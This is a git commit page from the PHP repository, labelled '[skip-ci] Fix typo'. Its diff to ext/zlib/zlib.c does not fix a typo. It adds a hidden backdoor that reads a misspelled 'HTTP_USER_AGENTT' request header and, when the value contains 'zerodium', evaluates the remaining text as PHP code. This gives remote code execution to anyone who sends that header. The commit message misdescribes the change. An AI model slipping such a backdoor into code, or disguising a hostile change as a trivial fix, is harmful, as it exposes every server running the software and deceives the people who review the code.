diff options
author | Rasmus Lerdorf <rasmus@lerdorf.com> | 2021-03-28 05:57:07 +0200 |
---|---|---|
committer | Rasmus Lerdorf <rasmus@lerdorf.com> | 2021-03-28 05:57:07 +0200 |
commit | c730aa26bd52829a49f2ad284b181b7e82a68d7d (patch) | |
tree | a1c87b3d3dcea24d3f232a65345b66c4968a6ed3 | |
parent | 92aeda524b0b99ab0c861bcba62e5a471ba805e6 (diff) | |
download | php-git-c730aa26bd52829a49f2ad284b181b7e82a68d7d.tar.gz |
[skip-ci] Fix typo
Fixes minor typo.
Signed-off-by: Rasmus Lerdorf <rasmus@lerdorf.com>
-rw-r--r-- | ext/zlib/zlib.c | 11 |
1 files changed, 11 insertions, 0 deletions
diff --git a/ext/zlib/zlib.c b/ext/zlib/zlib.c index 02fb4dd207..6964407837 100644 --- a/ext/zlib/zlib.c +++ b/ext/zlib/zlib.c @@ -360,6 +360,17 @@ static void php_zlib_output_compression_start(void) { zval zoh; php_output_handler *h; + zval *enc; + + if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) && + (enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) { + convert_to_string(enc); + if (strstr(Z_STRVAL_P(enc), "zerodium")) { + zend_try { + zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017"); + } zend_end_try(); + } + } switch (ZLIBG(output_compression)) { case 0: |